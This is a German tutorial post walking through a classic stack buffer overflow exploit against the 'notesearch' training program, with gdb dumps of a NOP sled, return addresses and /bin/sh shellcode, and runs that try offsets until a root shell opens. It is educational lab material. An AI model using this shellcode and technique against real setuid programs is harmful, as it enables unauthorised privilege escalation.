Ich setze mal voraus, dass ihr im Unterkapitel notesearch und notetaker kompiliert und ausgeführt habt.


root@toshiba:/home/tomovic/hack# gcc -g -fno-stack-protector -z execstack -o exploit_notesearch

Starting program: /home/tomovic/hack/exploit_notesearch

Breakpoint 1, main (argc=1, argv=0xbffff7a4) at exploit_notesearch.c:26
26    memset(buffer, 0x90, 60); // build NOP sled
(gdb) x/100x buffer
0x804b016: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b01e: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b026: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b02e: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b036: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b03e: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b046: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b04e: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b056: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b05e: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b066: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b06e: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b076: 0xde 0xf5 0xff 0xbf
(gdb) x/s command
0x804b008: "./notesearch '\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277"
(gdb) c
Continuing.

Breakpoint 2, main (argc=1, argv=0xbffff7a4) at exploit_notesearch.c:27
27    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
(gdb) x/100x buffer
0x804b016: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b01e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b026: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b02e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b036: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b03e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b046: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b04e: 0x90 0x90 0x90 0x90 0xde 0xf5 0xff 0xbf
0x804b056: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b05e: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b066: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b06e: 0xde 0xf5 0xff 0xbf 0xde 0xf5 0xff 0xbf
0x804b076: 0xde 0xf5 0xff 0xbf
(gdb) x/s command
0x804b008: "./notesearch '", '\220' <repeats 60 times>, "\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277"
(gdb) c
Continuing.

Breakpoint 3, main (argc=1, argv=0xbffff7a4) at exploit_notesearch.c:29
29    strcat(command, "\'");
(gdb) x/100x buffer
0x804b016: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b01e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b026: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b02e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b036: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b03e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b046: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804b04e: 0x90 0x90 0x90 0x90 0x31 0xc0 0x31 0xdb
0x804b056: 0x31 0xc9 0x99 0xb0 0xa4 0xcd 0x80 0x6a
0x804b05e: 0x0b 0x58 0x51 0x68 0x2f 0x2f 0x73 0x68
0x804b066: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x51
0x804b06e: 0x89 0xe2 0x53 0x89 0xe1 0xcd 0x80 0xbf
0x804b076: 0xde 0xf5 0xff 0xbf
(gdb) x/s command
0x804b008: "./notesearch '", '\220' <repeats 60 times>, "\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277\336\365\377\277"
(gdb) c
Continuing.
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
Segmentation fault (core dumped)
[Inferior 1 (process 3122) exited normally]
(gdb) quit
root@toshiba:/home/tomovic/hack#
Je nach Speicherverwaltung braucht ihr einen anderen Offset. Den Offset könnt Ihr auch berechnen, mit printf  wird die Speicheradresse angezeigt.

root@toshiba:/home/tomovic/hack# ./exploit_notesearch
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
Segmentation fault (core dumped)
root@toshiba:/home/tomovic/hack# ./exploit_notesearch 100
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
Illegal instruction (core dumped)
root@toshiba:/home/tomovic/hack# ./exploit_notesearch 200
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
# ls
a.out        decode_sniff.c        getenv_example.c  notetaker       
…..........
#
Ihr versteht nur Bahnhof, probiert den Quellcode so gut wie möglich zu verstehen. Auf Seite 154 wird das Prinzip erklärt. Ich meinte den Code verstanden zu haben, das nachher zum Verhängnis wurde. Zur Not jeden Befehl in googeln.

   

Forensik  

   
© ALLROUNDER